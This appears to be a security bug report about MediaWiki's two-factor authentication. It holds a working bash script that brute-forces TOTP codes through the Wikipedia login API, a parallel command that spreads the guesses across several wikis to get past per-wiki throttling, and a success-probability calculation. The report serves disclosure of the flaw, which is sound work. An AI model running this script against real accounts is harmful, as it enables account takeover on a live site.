- Create a throwaway account, and enable TOTP
- Place this in a file called totp.sh:
#!/bin/bash api="https://$1.wikipedia.org/w/api.php" user=# YOUR USERNAME password=# YOUR PASSWORD cookies=`mktemp` token=`curl -s -c $cookies $api --data 'action=query&meta=tokens&type=login&format=json' |sed -r 's/.*token":"([a-z0-9]+).*/\1%2B%5C/'` curl -s -b $cookies $api --data 'action=clientlogin&loginreturnurl=http://example.com&username='$user'&password='$password'&format=json&logintoken='$token >/dev/null while true do r=${RANDOM}000000; curl -s -b $cookies $api --data 'action=clientlogin&logincontinue&uselang=en&format=json&OATHToken='${r:0:6}'&logintoken='$token |sed -r 's/.*message":"([^"]+).*/\1\n/' sleep 6 done
- Run five instances of the script in parallel, with: echo -n "en es fi de no" |xargs -d " " -L 1 -P 5 ./totp.sh
The expected result is 10 "Verification failed" lines followed by lots of "Too many verification attempts" lines, since we're making 50 attempts per minute, but only 10 per minute are allowed.
The actual result is no "Too many verification attempts" lines.
There are about 700 wikis with automatic account creation on login, so at first glance we could try 7000 per minute, right away. But, there is a throttle on the first login step (username+password) that does seem to be enforced cross-wiki. The limit seems to be 5 attempts (successful or not) in 5 minutes. If there's no way around that, we're stuck testing on 5 wikis for the first five minutes, then 10 for next five minutes, and so on.
Each attempt has a (1 - 9 / 10^6) chance of failing. M attempts have a (1 - 9 / 10^6)^M chance of all failing. The chance of at least one success is thus 1 - (1 - 9 / 10^6)^M.
Let N be the number of minutes we've been guessing tokens. For N < 5 * 700, our probability of success is roughly 1 - (1 - 9 / 10^6)^(N * (N / 5 + 1)/2 * 5 * 10).
For N=30 minutes, that's "only" .04, but for N=120, that's .49. For N=240, we have a .93 probability of guessing the token.
So, 2FA can be defeated in a few hours by a determined attacker.